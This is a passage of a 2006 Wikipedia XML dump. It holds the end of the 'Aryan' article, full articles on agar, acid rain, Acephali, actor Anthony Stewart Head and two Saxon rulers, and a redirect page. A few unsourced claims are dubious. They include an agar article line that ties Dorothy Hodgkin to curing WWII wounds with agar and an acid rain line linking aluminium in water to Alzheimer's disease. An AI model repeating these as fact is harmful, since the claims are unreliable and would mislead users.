pressed upon him by Hitler, prohibiting mixed-race marriages between &quot;Aryans&quot; and Jews.

Because of historical [[racism|racist]] use of ''Aryan'', and especially use of ''Aryan race'' in connection with the [[mythology|myths]] and [[propaganda]] of [[Nazism]], the word is sometimes avoided in the West as being tainted, in the same manner as the [[swastika]] symbol.
In the English language, the use of the word &quot;Aryan&quot; when referring to an ethnic group or race (or even a linguistic group) is no longer in technical use and is sometimes considered unacceptable because of the Nazi associations. In India the term continues to be used. [http://www.bartleby.com/61/99/A0449900.html] 

According to Michael Witzel in his paper ''Autochthonous Aryans? The Evidence from Old Indian and Iranian Texts'', &quot;the use of the word Arya or Aryan to designate the speakers of all Indo-European (IE) languages or as the designation of a particular ''race'' is an aberration of many writers of the late 19th and early 20th centuries and should be avoided.&quot; [http://www.people.fas.harvard.edu/~witzel/EJVS-7-3.pdf]

==See also==
* [[Aryan race]]
* [[Aryanization]]
* [[Aryavarta]]
* [[History of Iran]]
* [[History of India]]
* [[History of Pakistan]]
* [[History of Afghanistan]]
* [[India]]
* [[Iran]]
* [[Indo-Iranians]]
* [[Japhetic]]
* [[Kurgan]]
* [[Kushan Empire]]
* [[Proto-Indo-European language]]
* [[Proto-Indo-Europeans]]
* [[Vedic Civilization]]
* [[Tocharians]]

==Notes and references==
&lt;div style=&quot;font-size: 90%&quot;&gt;
&lt;references/&gt;
&lt;/div&gt;

== External links == {{wiktionary|{{PAGENAME}}}} 
*[http://www.cais-soas.com/CAIS/Anthropology/er_ermazdesn.htm The Aryans in a historical context]
*[http://www.cais-soas.com/CAIS/Anthropology/arya.htm ÂRYÂ (ARYAN) Philology of Ethnic Epithet of Iranian Peoples]
*[http://www.cais-soas.com/CAIS/Anthropology/aryans.htm Aryans]
*[http://kpearson.faculty.tcnj.edu/Dictionary/aryan.htm Etymological study]
*[http://www.payvand.com/news/05/dec/1190.html Aryanism in Tajikistan]
*[http://www.genomenewsnetwork.org/articles/05_01/Indo-European.shtml Genetic evidence suggests European migrants may have influenced the origins of India's caste system]
*[http://www.armenianhighland.com/main.html Site arguing that Armenia was the Indo-European homeland.]

{{Epochs}}

[[Category:Ancient peoples]]
[[Category:Indo-Iranian peoples]]
[[Category:Eurasian nomads]]
[[Category:Esoteric anthropogenesis]]

[[ar:&amp;#1570;&amp;#1585;&amp;#1610;&amp;#1608;&amp;#1606;]]
[[de:Arier]]
[[fa:آریایی]]
[[fr:Aryens]]
[[nl:Ariër]]
[[ja:&amp;#12450;&amp;#12540;&amp;#12522;&amp;#12450;&amp;#20154;]]
[[pl:Ariowie]]
[[pt:Ariano]]
[[ru:Арийцы]]
[[sv:Arier]]
[[zh:雅利安人]]</text>
    </revision>
  </page>
  <page>
    <title>Agar</title>
    <id>3262</id>
    <revision>
      <id>41921587</id>
      <timestamp>2006-03-02T17:09:06Z</timestamp>
      <contributor>
        <ip>87.74.38.254</ip>
      </contributor>
      <comment>/* Uses in microbiology */</comment>
      <text xml:space="preserve">{{otheruses}}
'''Agar''' is a [[galactose]] [[polymer]] (or [[agarose]]) obtained from the [[cell wall]]s of some species of [[red alga]]e or [[seaweed]] ([[Sphaerococcus euchema]]) and species of [[Gelidium]] and [[Gracilaria]], chiefly from eastern [[Asia]], [[Chile]] and [[California]]. It is also known as Kanten, Agar-Agar, or Agal-Agal (Ceylon Agar).

Chemically, agar is a polymer made up of subunits of the sugar [[galactose]]; it is a component of the algae's cell walls. Dissolved in hot water and cooled, agar becomes [[gelatin]]ous; its chief use is as a culture medium for [[microbiology|microbiological]] work. Other uses are as a [[laxative]], a [[vegetarian]] [[gelatin]] substitute &amp;mdash; a thickener for soups, in [[jelly|jellies]], [[ice cream]] and [[Japan|Japanese]] desserts such as [[anmitsu]], as a clarifying agent in [[brewing]], and for [[sizing|paper sizing]] fabrics.

==Uses in cooking==
Agar-agar is typically sold as packaged strips of washed and dried seaweed, or in powdered form. Raw agar is white and semi-translucent. For making jelly, it is boiled in water at a concentration of about 0.7-1% [[Concentrations#Mass-volume_percentage|w/v]] (e.g. a 7 [[gram]] packet of powder into 1 [[litre]] of water would be 0.7%) until the solids dissolve, after which sweeteners, flavouring, colouring, and pieces of fruit may be added. The agar-agar may then be poured into [[molding (process)|molds]] or incorporated into other desserts, such as a jelly layer on a [[cake]].

One of the latest fad diets in Asia is the Kanten Diet.  Once ingested, kanten triples in size and absorbs water.  This results in the consumer feeling more full.  Recently this diet has received some press coverage in the United States as well.  The diet has shown promise in obesity studies, but it should be noted that agar/kanten has virtually no nutritional value.  It is approximately 80% fiber, so part of the diet's effectiveness may be a result of it working as a laxative.

==Uses in microbiology==
:''Main article: [[Agar plate]]''

Nutrient agar is used throughout the world as a medium for the growth of [[bacteria]] and [[fungi]], but not [[virus]]es (however, viruses are often grown in bacteria that are growing on agar). Though less than 1% of all existing bacteria can be grown successfully, the basic agar formula can be used to grow most of the [[microbe]]s, whose needs are known. More specific nutrient agars are available, because microbes can be picky. For example, blood agar, which is generally combined with horse blood, can be used to detect the presence of haemorrhagic micro-organisms such as E.coli O:157 H:7. The bacteria digest the blood, turning the plate clear.

Agarose is also used in Agarose [[gel electrophoresis]].

===Selective Media===
Selective media is agar specially treated to apply a selective pressure to organisms growing on it -- for example, to select for salt-tolerant, gram-positive, or gram-negative bacteria.

===Differential Media===
Differential media includes an indicator that causes visible, easily detectable changes in the appearance of the agar gel or bacterial colonies in a specific group of bacteria.  For example, EMB (Eosin Methylene Blue) agar causes E. Coli colonies to have a metallic green sheen, and MSA (Mannitol Salt Agar) turns yellow in the presence of mannitol fermenting bacteria.

A famous scientist once used agar in world war II to cure infected wounds in battle. 
For more information search for &quot;Dorothy Hodgkin&quot;

==Hysteresis==
[[Hysteresis]] describes the phenomenon of the differing liquid-solid state [[melting temperature|transition temperatures]] that agar exhibits.  Agar melts at 85 °C and solidifies from 32-40 °C.

== See also ==
* [[Agarose]]
* [[Agar plate]]
* [[Rhodophyta]]
* [[Asepsis]]
* [[Microbiology]]

== External links ==
* [http://www.sciencebuddies.org/mentoring/project_ideas/MicroBio_Agar.shtml General agar information]

[[Category:Edible thickening agents]]
[[Category:Organic polymers]]

[[ca:Agar]]
[[de:Agar]]
[[fr:Agar-agar]]
[[gl:Ágar-ágar]]
[[id:Agar]]
[[it:Agar agar]]
[[he:אגר]]
[[ja:寒天]]
[[pl:Agar-agar]]
[[fi:Agar]]
[[sv:Agar]]</text>
    </revision>
  </page>
  <page>
    <title>Acid rain</title>
    <id>3263</id>
    <revision>
      <id>42058801</id>
      <timestamp>2006-03-03T14:50:03Z</timestamp>
      <contributor>
        <ip>85.12.65.33</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Origins.gif|thumb|right|350px|Processes involved in acid deposition (note that only SO&lt;sub&gt;2&lt;/sub&gt; and NO&lt;sub&gt;x&lt;/sub&gt; play a significant role in acid rain).]]'''Acid rain''' is defined as any type of [[precipitation]] with a [[pH]] that is unusually low (Brimblecombe, 1996). Dissolved carbon dioxide dissociates to form weak [[carbonic acid]] giving a pH of approximately 5.6 at typical atmospheric concentrations of CO&lt;sub&gt;2&lt;/sub&gt; (Seinfeld and Pandis, 1998). Therefore a pH of &lt;5.6 has sometimes been used as a definition of acid rain [http://www.airquality.co.uk/archive/glossary.php]. However, natural sources of acidity mean that in remote areas rain has a pH which is between 4.5 and 5.6 with an average value of 5.0 and so rain with a pH &lt;5 is a more appropriate definition [http://www.enviroliteracy.org/article.php/2.html]. 

Acid rain is formed by the [[oxidation]] of [[sulfur]] and [[nitrogen]] containing compounds which have emissions of both natural and human origin. This oxidation occurs in both the [[Gas_phase#Example_1:_Solid.2C_liquid.2C_and_gas_phases|gas phase]] and in [[rain]]drops to produce [[sulfuric acid]] and [[nitric acid]].

The resulting increased acidity in [[soil]] and [[waterway]]s has proven to be harmful to [[fish]] and [[vegetation]]. Acid rain also accelerates [[weathering]] in [[carbonate rocks]] and accelerates [[building weathering]]. It also contributes to acidic [[rivers]], [[streams]], and damage to [[trees]] at high elevation. Efforts to combat this phenomenon are ongoing.

&quot;Acid rain&quot; is sometimes used more generally to include all forms of acid deposition - both wet deposition, where acidic gases and particles are removed by rain or other [[precipitation]], and the deposition of gases and particles to the Earth's surface in the absence of precipitation.

==History and trends==

Acid rain was first reported in [[Manchester]], [[England]], which was an important city during the [[Industrial Revolution]]. In 1852, [[Robert Angus Smith]] found the relationship between acid rain and atmospheric pollution. The term &quot;acid rain&quot; was used for the first time by him in 1872 (Seinfeld and Pandis, 1998).

Though acid rain was discovered in 1852, it wasn't until the late 1960s that scientists began widely observing and studying the phenomenon.  Canadian Harold Harvey was among the first to research a &quot;dead&quot; lake. Public awareness of acid rain in the U.S  increased in the 1990s after the [[New York Times]] promulgated reports from the [[Hubbard Brook Experimental Forest]] in [[New Hampshire]] of the myriad deleterious environmental effects demonstrated to result from it.

Evidence for an increase in the levels of acid rain comes from analysing layers of glacial ice. These show a sudden decrease in pH from the start of the industrial revolution of 6 to 4.5 or 4. Other information has been gathered from studying organisms known as [[diatoms]] which inhabit ponds. Over the years these die and are deposited in layers of [[sediment]] on the bottoms of the ponds. Diatoms thrive in certain pHs, so the numbers of diatoms found in layers of increasing depth give an indication of the change in pH over the years.

Since the industrial revolution, emissions of sulfur and nitrogen oxides to the atmosphere have increased. Industrial and energy-generating facilities that burn fossil fuels, primarily coal, are the principal sources of increased sulfur oxides. Occasional pH readings of well below 2.4 (the acidity of vinegar) have been reported in industrialized areas. These sources, plus the transportation sector, are the major originators of increased nitrogen oxides. 

The problem of acid rain not only has increased with population and industrial growth, but has become more widespread. The use of tall smokestacks to reduce local [[pollution]] has contributed to the spread of acid rain by releasing gases into regional atmospheric circulation. Often deposition occurs a considerable distance from its formation, with mountainous regions tending to receive the most (simply because of their higher rainfall). An example of this effect is the frequent low pH of rain which falls in [[Scandinavia]] compared to the local emissions.

Industrial acid rain is a substantial problem in [[China]], [[Eastern Europe]], [[Russia]] and areas down-wind from them. Acid rain from power plants in the midwest United States  has also harmed the forests of upstate New York and New England. These areas all burn sulfur-containing coal to generate heat and electricity.

==Origin==

===Emissions of chemicals leading to acidification===
====Natural emissions====
[[Image:Volcanic injection.jpg|thumb|400px|right|Volcanic injection]]
The principal natural [[phenomena]] that contribute acid-producing gases to the [[atmosphere]] are emissions from [[volcano]]es and those from [[biology|biological]] processes that occur on the land, in [[wetland]]s, and in the [[ocean]]s. The major biological source of sulfur containing compounds is [[Dimethyl sulfide]].

The effects of acidic deposits have been detected in [[glacier|glacial ice]] thousands of years old in remote parts of the globe.

====Human emissions====

The principal cause of acid rain is sulfur and nitrogen compounds from human sources, such as [[electricity generation]] and [[motor vehicle]]s. The gases can be carried hundreds of miles in the atmosphere before they are converted to acids and deposited.

The most important gas which leads to acidification is [[sulfur dioxide]]. 70 Tg(S) per year in the form of SO2 comes from fossil fuel combustion and industry, 2.8 Tg(S) from [[wildfires]], and 7-8 Tg(S) per year from [[volcanoes]]. (Berresheim et al, 1995). Emissions of [[nitrogen oxide]]s which are oxidised to form [[Nitric acid]] are of increasing importance due to stricter controls on emissions of sulfur containing compounds.

===Gas phase chemistry===

In the [[gas phase]] sulfur dioxide is oxidised by reaction with the [[hydroxyl]] radical via a [[termolecular]] reaction:
:SO&lt;sub&gt;2&lt;/sub&gt; + OH· + M→ HOSO&lt;sub&gt;2&lt;/sub&gt;· + M
which is followed by:
:HOSO&lt;sub&gt;2&lt;/sub&gt;· + O&lt;sub&gt;2&lt;/sub&gt; → HO&lt;sub&gt;2&lt;/sub&gt;· + SO&lt;sub&gt;3&lt;/sub&gt;
In the presence of water [[sulfur trioxide]] is converted rapidly to sulfuric acid:
:SO&lt;sub&gt;3&lt;/sub&gt; + H&lt;sub&gt;2&lt;/sub&gt;O + M → H&lt;sub&gt;2&lt;/sub&gt;SO&lt;sub&gt;4&lt;/sub&gt; + M

Nitric acid is formed by the reaction of OH with [[Nitrogen dioxide]]:
:NO&lt;sub&gt;2&lt;/sub&gt; + OH· + M → HNO&lt;sub&gt;3&lt;/sub&gt; + M

For more information see Seinfeld and Pandis (1998).

===Chemistry in cloud droplets===
When clouds are present the loss rate of SO&lt;sub&gt;2&lt;/sub&gt; is faster than can be explained by gas phase chemistry alone. This is due to reactions in the liquid water droplets
; Hydrolysis
Sulfur dioxide dissolves in water and then, like carbon dioxide, [[hydrolysis|hydrolyses]] in a series of [[Chemical equilibrium|equilibrium]] reactions:

:SO&lt;sub&gt;2&lt;/sub&gt; (g)+ H&lt;sub&gt;2&lt;/sub&gt;O {{unicode|&amp;#8652;}} SO&lt;sub&gt;2&lt;/sub&gt;·H&lt;sub&gt;2&lt;/sub&gt;O
:SO&lt;sub&gt;2&lt;/sub&gt;·H&lt;sub&gt;2&lt;/sub&gt;O {{unicode|&amp;#8652;}} H&lt;sup&gt;+&lt;/sup&gt;+HSO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;-&lt;/sup&gt;
: HSO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;-&lt;/sup&gt; {{unicode|&amp;#8652;}}  H&lt;sup&gt;+&lt;/sup&gt;+SO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;2-&lt;/sup&gt;

; Oxidation

There are a large number of aqueous reactions of sulfur which oxidise it from S(IV) to S(VI) leading to the formation of sulfuric acid. The most important oxidation reactions are with [[ozone]], [[hydrogen peroxide]] and [[oxygen]] catalysed by Iron and Manganese.

For more information see Seinfeld and Pandis (1998).

==Aerosol formation==

In the gas phase sulfuric and nitric can condense on existing [[particulate|aerosols]] or nucleate to form new aerosols. The nucleation process is an important source of new particles in the atmosphere and so emissions of sulfur containing compounds, as well as causing acidification also have a climate effect.

==Acid deposition==

===Wet deposition===

Wet deposition of acids occurs when any form of precipitation (rain, snow etc) removes acids from the atmosphere and delivers it to the the Earth's surface. This can result from the deposition of acids produced in the raindrops (see aqueous phase chemistry above) or by the precipitation removing the acids either in clouds or below clouds. Wet removal of both gases and aerosol are both of importance for wet deposition.

===Dry deposition===

Acid deposition also occurs via dry deposition in the absence of precipitation. This can be responsible for as much as 20 to 60% of total acid deposition [http://www.airquality.co.uk/archive/glossary.php]. This occurs when particles and gases stick to the ground, plants or other surfaces.

==Adverse effects==
===Effects on lake ecology===

There is a strong relationship between lower pH values and the loss of populations of [[fish]] in lakes. Below 4.5 virtually no fish survive, whereas levels of 6 or higher promote healthy populations. Acid in water inhibits the production of [[enzyme]]s which enable fish's [[larvae]] to escape their eggs. It also mobilizes toxic metals such as [[aluminium]] in lakes. [[Aluminium]] causes some fish to produce an excess of [[mucus]] around their [[gill]]s, preventing proper ventilation. [[Phytoplankton]] growth is inhibited by high acid levels, and animals which feed on it suffer.

Many lakes are subject to natural acid runoff from acid soils, and this can be triggered by particular rainfall patterns that concentrate the acid.  An acid lake with newly-dead fish is not necessarily evidence of severe air-pollution.

=== Effects of acid rain on soil biology ===

[[Soil#Biological processes in soil|Soil biology]] can be seriously damaged by acid rain. Some tropical [[microbes]] can quickly consume acids (Rodhe, 2005) but other types of microbe are unable to tolerate low pHs and are killed. The [[enzymes]] of these microbes are [[Denaturation (biochemistry)|denatured]] (changed in shape so they no longer function) by the acid.

The [[hydronium]] ions of acid rain also mobilize [[toxin]]s and [[Leaching|leache]] away essential nutrients.  

Forest soils tend to be inhabited by [[fungi]], but acid rain shifts forest soils to be more bacterially dominated.In order to [[Nitrogen fixation|fix nitrogen]] many trees rely on fungi in a [[symbiotic]] relationship with their roots. If acidity inhibits the growth of these [[mycorrhizae]] associations this could lead to trees struggling to fix nitrogen without their symbiotic partners.

===Other adverse effects===

Trees are harmed by acid rain in a variety of ways. The waxy surface of leaves is broken down and nutrients are lost, making trees more susceptible to frost, fungi, and insects. Root growth slows and as a result fewer nutrients are taken up. Toxic ions are mobilized in the soil, and valuable minerals are leached away or (as in the case of [[phosphate]]) become bound to clay.

The toxic ions released due to acid rain form the greatest threat to humans. Mobilized [[copper]] has been implicated in outbreaks of [[diarrhea|diarrhea/diarrhoea]] in young children and it is thought that water supplies contaminated with aluminium cause [[Alzheimer's disease]].

Acid rain can cause erosion on ancient and valuable statues and has caused considerable damage. This is because the sulfuric acid in the rain chemically reacts with the calcium in the stones (lime stone, sandstone, marble and granite) to create gypsum, which then flakes off. This is also commonly seen on old gravestones where the acid rain can cause the inscription to become completely illegible.

Acid rain also causes an increased rate of oxidation for iron.

==Prevention methods==
===Technical solutions===
In the United States, many coal-burning [[power plant]]s use [[Flue gas desulfurization]] (FGD) to remove sulfur-containing gases from their stack gases.  An example of FGD is the wet scrubber which is commonly used in the U.S. and many other countries. A wet scrubber is basically a reaction tower equipped with a fan that extracts hot smoky stack gases from a power plant into the tower. Lime or limestone in slurry form is also injected into the tower to mix with the stack gases and combine with the sulfur dioxide present. The calcium carbonate of the limestone produces pH-neutral calcium sulfate that is physically removed from the scrubber.  That is, the scrubber turns sulfur pollution into industrial sulfates.  

In some areas the sulfates are sold to chemical companies as [[gypsum]] when the purity of calcium sulfate is high.  In others, they are placed in a land-fill.

===International treaties===

A number of international treaties on the long range transport of atmospheric pollutants have been agreed e.g. [[Sulphur Emissions Reduction Protocol]] and [[Convention on Long-Range Transboundary Air Pollution]].

===Government regulation===
Some people oppose regulation of power generation, believing that pollution from power generation is inevitable. However, [[nuclear reactor]]s generate less than one-millionth the toxic waste (measured by net biological effect) per [[watt]], when wastes of both power generation facilities are properly handled. On the other hand, nuclear power has a well-known potential for catastrophic accidents or nuclear proliferation.

====Emissions trading====
An even more benign regulatory scheme involves [[emission trading]].  In this scheme, every current polluting facility is given an emissions license that becomes part of capital equipment.   Operators can then install pollution control equipment, and sell parts of their emissions licenses.  The main effect of this is to give operators real economic incentives to install pollution controls.   Since public interest groups can retire the licenses by purchasing them, the net result is a continuously decreasing and more diffused set of pollution sources.  At the same time, no particular operator is ever forced to spend money without a return of value from commercial sale of assets.

== References ==

*Berresheim, H.; Wine, P.H. and Davies D.D., (1995). Sulfur in the Atmopshere. In Composition, Chemistry and Climate of the Atmophere, ed. H.B. Singh.  Van Nostran Rheingold.
*Brimblecombe, P (1996). Air Composition and Chemistry. Cambridge University Press. ISBN 0-521-45366-6
*Rodhe, H., et. Al.  “The Global Distribution of Acidifying Wet Deposition.”  Environmental Science &amp; Technology.  v. 36 no. 20 (October 15 2005) p. 4382-8.
* Seinfeld, John H.; Pandis, Spyros N (1998). Atmospheric Chemistry and Physics - From Air Pollution to Climate Change. John Wiley and Sons, Inc. ISBN 0-471-17816-0

== See also ==

*[[List of environment topics]]

[[Category:Environmental chemistry]]
[[Category:Precipitation]]
[[Category:Causes of extinction]]
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[[da:Sur nedbør]]
[[de:Saurer Regen]]
[[et:Happesademed]]
[[es:Lluvia ácida]]
[[fr:Pluie acide]]
[[gl:Choiva ácida]]
[[id:Hujan asam]]
[[he:גשם חומצי]]
[[ms:Hujan asid]]
[[nl:Zure regen]]
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  </page>
  <page>
    <title>Aborigines</title>
    <id>3264</id>
    <revision>
      <id>15901623</id>
      <timestamp>2005-06-15T03:31:11Z</timestamp>
      <contributor>
        <username>CJLL Wright</username>
        <id>259138</id>
      </contributor>
      <comment>change redirect from [[Indigenous peoples]] to [[Aborigine]] disambig page</comment>
      <text xml:space="preserve">#REDIRECT [[Aborigine]]</text>
    </revision>
  </page>
  <page>
    <title>Acephali</title>
    <id>3266</id>
    <revision>
      <id>35200469</id>
      <timestamp>2006-01-14T23:01:47Z</timestamp>
      <contributor>
        <username>Ceyockey</username>
        <id>150564</id>
      </contributor>
      <minor />
      <comment>added template-wiktionary</comment>
      <text xml:space="preserve">{{wiktionary}}
&quot;'''Acephali'''&quot; (from the [[Greek language]] ''a-'', &quot;without,&quot; and ''kephale'', &quot;head&quot;) is a term applied to several sects as having no head or leader; and in particular to a strict [[monophysite]] sect that separated itself, in the end of the [[5th century]], from the rule of [[Peter III of Alexandria|Peter Mongus]], the [[patriarch]] of [[Alexandria]], and remained &quot;without king or bishop&quot; till they were reconciled by [[Markos II of Alexandria|Mark II]] ([[799]] - [[819]]).

The term is also used to denote ''clerici vagantes'', ''i.e.'' clergy without title or benefice, picking up a living anyhow. Certain persons in [[England]] during the reign of King [[Henry I of England]] were called Acephali because they had no lands by virtue of which they could acknowledge a superior lord.

The name is also given to certain legendary races described by ancient naturalists and 
geographers as having no heads, their mouths and eyes being in their breasts, generally identified with [[Pliny the Elder|Pliny]]'s [[Blemmyae]].

:''(from an old encyclopedia)''

[[de:Akephalie]]
[[Category:Theology]]</text>
    </revision>
  </page>
  <page>
    <title>Anthony Stewart Head</title>
    <id>3268</id>
    <revision>
      <id>41700911</id>
      <timestamp>2006-03-01T03:46:51Z</timestamp>
      <contributor>
        <ip>24.136.99.194</ip>
      </contributor>
      <comment>minor edits</comment>
      <text xml:space="preserve">&lt;!-- Image with unknown copyright status removed: [[Image:Rogh.jpg|thumb|Anthony Head playing the [[Prime Minister of the United Kingdom|British Prime Minister]] from [[BBC]]'s ''[[Little Britain]]'']] --&gt;

'''Anthony Stewart Head''' (born [[20 February]], [[1954]]) is an [[England|English]] [[actor]] in [[theatre]], [[television]] and [[film]]s but most widely known for his role as [[Rupert Giles]] in the [[United States|American]] television drama series ''[[Buffy the Vampire Slayer]]'', the role of [[Frank N Furter]] in the London revival of ''[[The Rocky Horror Show]]'', and a series of [[coffee]] [[advertising|commercials]] in [[Britain]] and the [[United States|US]]. In the [[United Kingdom|UK]], outside of ''Buffy'', he is more commonly credited simply as '''Anthony Head''', or occasionally '''Tony Head'''.

Born in [[Camden Town]], [[London]]; his father was Seafield Head, the founder of '''Verity Films''', and his mother was the actress Helen Shingler. His older brother is actor and singer, [[Murray Head]].  

Anthony was educated at the [[London Academy of Music and Dramatic Art]] (LAMDA). His first role was in the musical ''[[Godspell]]''; this led to roles in television on both [[BBC]] and [[ITV]], one of his earliest being in the series ''[[Enemy at the Door]]'' (ITV, 1978 - 1980) and then a series of twelve coffee commercials with [[Sharon Maughan]] for [[Nescafé]] ''Gold Blend'' (re-edited to include the US brand name, [[Taster's Choice]]), which was what brought him fame. 

Success on the stage and a number of brief appearances on American TV such as the short-lived ''[[VR-5]]'' led to accepting the role of [[Rupert Giles]] in ''Buffy'' in 1997, for which he lived full-time in the United States during the late 1990s and early 2000s, although his family continued to live in the UK.

In 2002, he returned to Britain and co-starred in the [[BBC Two]] television series ''[[Manchild]]'', concerning four fifty-something men who spend all of their time talking about sex. He also appeared in guest roles in various other dramas, such as ''[[Silent Witness]]'', ''[[Murder Investigation Team]]'', and ''[[Spooks]]''. 

He also stars as the Prime Minister in popular BBC comedy sketch show ''[[Little Britain]]'' since 2003, and guest starred in several episodes of the 2004 series of popular drama ''[[Monarch of the Glen]]''.

Outside of television work, he has released an [[album (music)|album]] of songs with musician [[George Sarah]] entitled ''Music for Elevators''. Early in his career he provided vocals for some of the tracks on the [[Chris de Burgh]] album ''The Getaway'' and the reading from [[The Tempest]] on ''Don't Pay The Ferryman''.

He appeared in a special webcast version of ''[[Doctor Who]]'' in a story called ''[[Death Comes to Time]]'' in which he plays the [[Time Lord]] Valentine, and guest starred in the ''[[Excelis Rising|Excelis Trilogy]]'', a series of audio adventures produced by [[Big Finish Productions]]. 

He has been confirmed as guest-starring in an episode of the 2006 season of the television series of ''Doctor Who'', playing Mr. Finch in the story tenatively titled ''[[School Reunion (Doctor Who)|School Reunion]]''. He has recently appeared in an episode of '''Hotel Babylon''', a BBC drama set in a hotel, in which he played a suicidal man who recovers and lands a music deal.

There is persistent talk of Head starring in a ''Buffy'' spin-off series for the BBC entitled ''[[Ripper (television)|Ripper]]'', but so far nothing has come of this.

He is currently filming a pilot for a new show entitled, &quot;Him and us&quot; for American TV channel, [[American Broadcasting Company|ABC]].

==External links==
* [http://www.anthonyhead.org/ Official website]
* {{imdb name|id=372117|name=Anthony Stewart Head}}
* [http://www.buffyguide.com/players/giles.shtml  Biographies of Giles and Head] at &quot;Buffyguide&quot;
* [http://www.anthonyhead.net/  Coming soon] New Anthony Head site

[[Category:1954 births|Head, Anthony Stewart]]
[[Category:British actors|Head, Anthony Stewart]]
[[Category:English actors|Head, Anthony Stewart]]
[[Category:Buffy the Vampire Slayer cast and crew|Head, Anthony Stewart]]
[[Category:Doctor Who actors|Head, Anthony Stewart]]
[[Category:Little Britain actors|Head, Anthony Stewart]]
[[Category:Living people|Head, Anthony Stewart]]

[[fr:Anthony Stewart Head]]
[[sv:Anthony Stewart Head]]</text>
    </revision>
  </page>
  <page>
    <title>Anthony Clement of Saxony</title>
    <id>3269</id>
    <revision>
      <id>39567078</id>
      <timestamp>2006-02-14T09:21:45Z</timestamp>
      <contributor>
        <ip>221.226.204.118</ip>
      </contributor>
      <text xml:space="preserve">'''Anthony Clement of Saxony''', '''''HM Anton Clemens Theodor Maria Joseph Johann Evangelista Johann Nepomuk Franz Xaver Aloys Januar King of Saxony''''', ([[December 27]], [[1755]] - [[June 6]], [[1836]]) was the son of [[Frederick Christian, Elector of Saxony]] and Maria Antonia of Bavaria, and succeed his brother [[Frederick Augustus I of Saxony|Frederick Augustus I]] as King of Saxony in 1827.

In 1781, he married Maria Carolina Princess of [[Savoy]] &amp; [[Sardinia]] (1764-1782) and, after widowing, he remarried in 1787 to Archduchess Maria Theresia of Austria (1767-1827), daughter of [[Leopold II, Holy Roman Emperor|Leopold II]]. Four children were born from the second marriage, but none arrived to be two years-old. 

He was succeeded by his nephew, [[Frederick Augustus II of Saxony]].

{{start box}}
{{succession box |
  before= [[Frederick Augustus I of Saxony|Frederick Augustus I]] |
  title= [[Rulers of Saxony|King of Saxony]]|
  years= 1827&amp;ndash;1836|
  after= [[Frederick Augustus II of Saxony|Frederick Augustus II]]
}}
{{end box}}

[[Category:House of Wettin]]
[[Category:Kings of Saxony]]
[[Category:1755 births]]
[[Category:1836 deaths]]

[[de:Anton (Sachsen)]]
[[nl:Anton van Saksen]]
[[ru:Антон благосклонный]]
[[zh:安东 (萨克森)]]</text>
    </revision>
  </page>
  <page>
    <title>Albert, Duke of Saxony</title>
    <id>3270</id>
    <revision>
      <id>39393909</id>
      <timestamp>2006-02-12T21:52:49Z</timestamp>
      <contributor>
        <username>Qtoktok</username>
        <id>521745</id>
      </contributor>
      <comment>rv</comment>
      <text xml:space="preserve">:''Several rulers of Saxony bore the name '''Albert'''. See [[Rulers of Saxony]] for possible disambiguation.''

'''Albert Wettin''' ([[January 27]], [[1443]] &amp;ndash; [[September 12]], [[1500]]), [[rulers of Saxony|Duke of Saxony]], surnamed ''the Bold'' or ''the Courageous'', was the younger son of [[Frederick II, Elector of Saxony|Frederick II the Gentle]].

After escaping from the hands of Kunz von Kaufungen, who had abducted him together with his brother Ernest, he passed some time at the court of the emperor [[Frederick III, Holy Roman Emperor|Frederick III]] in [[Vienna]].  

In 1464 he married Zedena, or Sidonia, daughter of [[George of Podebrady]], king of [[Bohemia]], but failed to obtain the Bohemian Crown on the death of George in 1471.

After the death of the elector Frederick in 1464, Albert and Ernest ruled their lands together, but in 1485 a division was made by the [[treaty of Leipzig]], and Albert received Meissen, together with some adjoining districts, and founded the Albertine branch of the family of [[Wettin (dynasty)|Wettin]].

Regarded as a capable soldier by the emperor, Albert, in 1475, took a prominent part in the campaign against [[Charles the Bold]], [[duke of Burgundy]], and in 1487 led an expedition against [[Matthias Corvinus]], king of Hungary, which failed owing to lack of support on the part of the emperor.  

In [[1488]] he marched with the imperial forces to free the Roman king [[Maximilian I, Holy Roman Emperor|Maximilian]] from his imprisonment at Bruges, and when, in 1489, the king returned to Germany, Albert was left as his representative to prosecute the war against the rebels. He was successful in restoring the authority of Maximilian 
in [[Holland]], [[Flanders]] and [[Brabant]], but failed to obtain any 
repayment of the large sums of money which he had spent in these campaigns.

His services were rewarded in [[1498]] when Maximilian bestowed upon him the title of hereditary governor (''potestat'') of [[Friesland]], but he had to make good his claim by force of arms. He had to a great extent succeeded, and was paying a visit to Saxony, when he was recalled by news of a fresh rising. [[Groningen (city)|Groningen]] was captured, but soon afterwards the duke 
died at Emden. He was buried at Meissen.  

Albert, who was a man of great strength and considerable skill in feats of arms, delighted in tournaments and knightly exercises.  His loyalty to the emperor Frederick, and the expenses incurred in this connection, aroused some irritation among his subjects, but his rule was a period of prosperity in Saxony.

==Family and children==
With [[Sidonia of Bohemia]] he had the following chuildren:
# Katharina ([[24 July]] [[1468]], [[Meissen]]&amp;ndash;[[10 February]] [[1524]], [[Göttingen]]), married to:
## [[24 February]] [[1484]] in [[Innsbruck]] to Duke [[Sigismund of Austria]];
## [[1497]] to Duke [[Erich I of Braunschweig-Kalenberg]].
# [[George, Duke of Saxony|Georg &quot;der Bärtige&quot;]] ([[27 August]] [[1471]]&amp;ndash;[[17 April]] [[1539]]).
# [[Henry IV, Duke of Saxony|Heinrich V &quot;der Fromme&quot;]] ([[16 March]] [[1473]], [[Dresden]]&amp;ndash;[[18 August]] [[1541]], Dresden).
# [[Friedrich of Saxony (1473-1510)|Friedrich]] ([[Torgau]] [[26 October]] [[1473]] - [[Rochlitz]] [[14 December]] [[1510]]), Grand Master of the [[Teutonic Knights]].
# Anna ([[3 August]] [[1478]]&amp;ndash;[[1479]], Dresden).
# Ludwig ([[1481]], Torgau&amp;ndash;young after 1498).
# Johann born and died in Torgau [[24 June]] [[1484]].
# Johann, born [[2 December]] [[1498]], Torgau and died young in September of the same year as his brother Ludwig.

==References==
*{{1911}}

[[Category:1443 births]]
[[Category:1500 deaths]]
[[Category:Dukes of Saxony]]
[[Category:Knights of the Golden Fleece]]
[[Category:House of Wettin]]

[[de:Albrecht III. (Sachsen)]]
[[es:Alberto III de Sajonia-Meissen]]
[[nl:Albrecht III van Saksen]]</text>
    </revision>
  </page>
  <page>
    <title>Authoritarianism</title>
    <id>3271</id>
    <revision>
